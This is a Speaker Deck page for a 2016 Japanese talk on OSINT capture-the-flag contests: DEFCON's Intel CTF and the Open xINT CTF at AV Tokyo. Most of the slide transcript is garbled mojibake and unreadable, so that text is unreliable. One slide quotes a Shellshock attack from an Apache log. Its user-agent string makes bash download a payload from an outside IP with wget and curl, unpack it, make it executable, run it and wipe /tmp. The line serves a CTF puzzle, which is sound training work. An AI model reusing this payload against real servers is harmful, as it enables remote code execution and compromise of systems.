Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Intel CTF and Open xINT CTF 20161220
Search
Yuho Kameda
December 20, 2016
Technology
1
1.2k
Intel CTF and Open xINT CTF 20161220
OSINTのCTFに参加して開催した話で! 2016/12/20 #ssmjp
Yuho Kameda
December 20, 2016
Tweet
Share
More Decks by Yuho Kameda
See All by Yuho Kameda
How to use OWASP ZAP & Vulnerabilities Slikmap
ykame
0
9k
Enjoy Daily Life by handy tool
ykame
0
100
Find Trust-Information -Public- 20170630 #ssmjp
ykame
1
2.5k
Hey Siri! Hello Barbie! ssmjp
ykame
0
910
How to create the alert by script of ZAP
ykame
2
710
[bpstudy] OWASP ZAP Vulnerable Assesment.
ykame
2
1.3k
What is ZAP?
ykame
0
510
MINI Hardening #1.2 20分LT ZAPを使ったHardening対策術 2015/8/29
ykame
2
540
How to install VMwarePlayer and OWASP BWA
ykame
1
1k
Other Decks in Technology
See All in Technology
Amazon GuardDuty Malware Protection for Amazon S3を使おう
ryder472
2
100
Go の analysis パッケージで自作するリファクタリングツール
kworkdev
PRO
1
410
ISUCONにPHPで挑み続けてできるようになっ(てき)たこと / phperkaigi2025
blue_goheimochi
0
140
大規模プロジェクトにおける 品質管理の要点と実践 / 20250327 Suguru Ishii
shift_evolve
0
280
ClineにNext.jsのプロジェクト改善をお願いしてみた / 20250321_reacttokyo_LT
optim
1
1.3k
AI・LLM事業部のSREとタスクの自動運転
shinyorke
PRO
0
300
移行できそうでやりきれなかった 10年超えのシステムを葬るための戦略 / phper-kaigi-2025-ryu
carta_engineering
0
690
一人QA時代が終わり、 QAチームが立ち上がった話
ma_cho29
0
290
バクラクでのSystem Risk Records導入による変化と改善の取り組み/Changes and Improvement Initiatives Resulting from the Implementation of System Risk Records
taddy_919
0
220
頻繁リリース × 高品質 = 無理ゲー? いや、できます!/20250306 Shoki Hyo
shift_evolve
0
150
セマンティックレイヤー入門
ikkimiyazaki
8
3.2k
Riverpod & Riverpod Generatorを利用して状態管理部分の処理を書き換えてみる簡単な事例紹介
fumiyasac0921
0
110
Featured
See All Featured
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
7.1k
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
120k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
160
15k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
231
53k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
45
9.5k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
28
9.4k
Large-scale JavaScript Application Architecture
addyosmani
511
110k
The Power of CSS Pseudo Elements
geoffreycrofte
75
5.7k
Making Projects Easy
brettharned
116
6.1k
Gamification - CAS2011
davidbonilla
81
5.2k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
30
1.1k
Measuring & Analyzing Core Web Vitals
bluesmoon
6
320
Transcript
OSINTͷCTFʹ ࢀՃͯ͠։࠵ͨ͠Ͱʂ 2016/12/20 #ssmjp @YuhoKameda ɹɹɹɹɹɹɹɹɹ @pinja_xyz
ࣗݾհ ُా ༐า : ykame (@YuhoKameda) ZAP Evangelist OSINT ओͳۀ༰
WebΞϓϦέʔγϣϯ੬ऑੑஅ ϓϥοτϑΥʔϜ੬ऑੑஅ SOC/CSIRTۀ ۓٸҊ݅ͳΜͰཁһ… ใऩू
ࠓ͢͜ͱ DEFCONͰIntel CTFʹࢀՃͨ͠ AV TokyoͰOpen xINT CTFΛ։࠵ͨ͠
DEFCONͰIntel CTFʹ ࢀՃͨ͠
DEFCONͰIntel CTF DEFCONͬͯͳʔʹʁ ຖՆʹϥεϕΨεͰ։࠵ BlackHatʹଓ͚ͯ։࠵ ༷ʑͳCTFίϯςετ͕͋ΔϋοΧʔ ͷࡇయ
DEFCONͰIntel CTF Intel CTFͬͯͳʔʹʁ 2015͔Β࢝·ͬͨɺIntelligenceʹযΛͯͨ ڝٕ ୈ2ճ(2016)ͷςʔϚɺੈքͷTop50ʹೖΔا ۀͷThreat Intelligence Analystͱͯ͠ɺ߈ܸऀΛ
͍ͯ͘͠աఔͰ༷ʑͳΛճ͢Δ ༏উۚ$2,500 pinjaͰࢀՃʂ(@luminࢯɺ@awamori_ttࢯ + me) ݁Ռ12ҐͰͨ͠
Intel CTFͷ݁Ռ
ͲΜͳ͕͋ͬͨͷʔʁ 1 The Vuln: What is the vulnerability that was
successfully exploited also "known" as? 4ϑΝΠϧܭ508ສߦͷApacheϩάͷத͔ Βɺ߈ܸʹޭͨ͠1ߦΛݟ͚ͭΔ XX.XX.XX.XX - - [21/Jul/2016:02:58:19 -0700] "GET /product/? id=2085 HTTP/1.0" 500 4958 "" "() { : ; }; /bin/bash -c 'wget -O / tmp/a.jpg http://52.37.125.215/ ; curl -o /tmp/a.jpg http:// 52.37.125.215/ ; tar -xzvf /tmp/a.jpg ; chmod 777 /tmp/* ; /tmp/a ; rm -rf /tmp/*'"
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock?
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271?
1ͷ͑ʁ What is the vulnerability that was successfully exploited also
"known" as? ͳ͔ͳ͔͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271? ͑ʮBashdoorʯ
ͦͷଞͷ <Level1> ϚϧΣΞͷ௨৴ઌʁ ߈ܸݩIPͷASN(Autonomous System Number)ʁ ߈ܸݩIP͕ެ։͍ͯ͠ΔWebαʔόͷόʔδϣϯʁ <Level2> ϚϧΣΞͷ໊લʁ ༻͕ແޮԽ͞Ε͍ͯΔ໊ؔʁ
Ϙοτͷ໊લʁ Bot Harder͕༻Δ͢ΔMaildropʁ
ଞʹ͋ΔSocial Engineering CTF(SECTF) ࣮ࡍͷاۀిͯ͠ใࡡऔ͢Δڝٕ Black Badge͑Δۄίϯςετ blog.yka.me Ͱɺ2015ͷใΛupͯ͠·͢ http://blog.yka.me/2015/08/social-engineering-ctfsectf-defcon-23.html
AV TokyoͰOpen xINT CTFΛ ։࠵ͨ͠
AV Tokyoͬͯͳʔʹʁ ηΩϡϦςΟք۾ͷਓ͕ɺू·ͬͯҿΜ ͰɺൃදΛฉ͍ͯҿΜͰɺҿΉ ϋοΧʔίϛϡχςΟ no drink! no hack!
Ԡื·ͰͷྲྀΕ 8/6 20:00 ʮOSINTؔͷCTFຊͰΓ͍ͨͰ͢Ͷʯ ʮձࣾؔͩͱ༰͕… AVTokyoͷCFxͱ͔Ͳ͏Ͱ͠ΐ͏ʯ ʮʒ(8/15)͍ۙͰ͢Ͷɺམͪண͍ͨΒग़͠·͠ΐ͏͔ʯ 8/7 10:00 ɹɹʙ16:00
Intel CTFڝٕࢀՃ 8/8 13:19 writeupΛڞ༗ 8/8 22:26 Call For Xͷจষୟ͖ 8/12 Call For Xఏग़done
࣮ࡍʹ։࠵ͯ͠Έͨ 10/22 15:00 - 19:30 @ौ୩
Open xINT CTFͱʁ http://xintctf.wpblog.jp/ ձͰͷؔऀͷฉ͖ࠐΈSNSͳͲͰඞཁͳใΛऩ ू͠ɺ࣍ʑ໌Β͔ʹͳΔώϯτΛղ͖ͳ͕ΒຊؙʹͨͲΓ ண͘ɺݱͷεύΠཆίϯςετ ࢀՃऀ(εύΠ) ߈ܸऀΛௐࠪ (ผͷεύΠ)
߈ܸऀ(ϋοΧʔ) ৮ USB୳ࡧґཔ USBʹ᠘ΛࠐΜͰ৮ ಠࣗʹௐࠪ
7 1. pinja.xyzͷ։ઃऀ(߈ܸऀ)ͷϝʔϧΞυϨεʁ 2. ߈ܸऀ͕ॴ༗͢ΔFacebookΞΧϯτʁ 3. ߈ܸऀཱ͕ͪدͬͨ(ࣸਅ)ҿ৯ళͷ࠲ඪʁ 4. ߈ܸऀͱҰॹʹ৯ࣄ͍ͯ͠Δਓ(εύΠ)ͷFacebookΞΧϯτ ʁ
5. ͜ͷਓ(εύΠ)Λࣸਅ͔Βಛఆ͠ɺAV TokyoͰ৮ͯ͠ʮ͏· ͘৴༻ͤͯ͞ʯใΛҾ͖ग़ͤ 6. εύΠ͔ΒҾ͖ग़ͨ͠ใΛݩʹɺʮϞϊʯΛݟ͚ͭɺಘΒΕΔ ใΛݟ͚ͭΖ 7. ͦͷϞϊʹ᠘ϦϯΫΛֻ͚ɺʮෆ৹ʹࢥΘΕͳ͍Α͏ʯ߈ܸऀ ʹAV TokyoͰʮϞϊʯΛͤ
͋ΔʮϞϊʯ(USB)Λ୳ͯ͘͠Δ MAMORIOΞϓϦͰԠνΣοΫ http://www.mamorio.jp/ ΞϓϦͰԠͷ͋ͬͨۙΛ୳͢
ৄ͘͠ࢀՃऀͷwriteupΛʂ ΤΫετϦʔϜCTFͭΒ͍ʢOpen xINT ͷWriteup?ʣ http://pinksawtooth.hatenablog.com/ entry/2016/10/24/010049 Open xINT CTF Writeup
http://qiita.com/nicklegr/items/ 5ebcdaac86a21613c94a
ࢀՃऀ : 93ਓ 1Ͱղ͚ͨਓ : 67ਓճ 1: 67ਓɺ2: 49ਓɺ3: 8ਓɺ4:
28ਓɺ5: 7ਓ
࠷ऴతͳ݁Ռʁ (700Ҏ্) [߹ܭ + εύΠಘ + ࠷ऴճ࣌ؒ] Sh1n0g1ɹ900 +ʢ100ʣ18:45:56 tigerszkɹ900
+ʢ100ʣ 19:20:49 rcsirtɹ900 +ʢ0ʣ17:16:36 nicklegrɹ700 +ʢ200ʣ17:39:52 brightblueɹ900 +ʢ0ʣ19:25:33 TomoriNaoɹ700 +ʢ100ʣ17:20:22 tonko2ɹ600 +ʢ100ʣ17:11:11 Sakura Ayaneɹ700 +ʢ0ʣ17:31:46 ໊લ͕ొ໊ͱҰக͠ͳ͍ํεύΠಘ͕0ͱͳΓ·͢ ಉͷ߹ɺ࠷ऴճ͕࣌ؒૣ͍ํ্͕Ґͱ͠·͢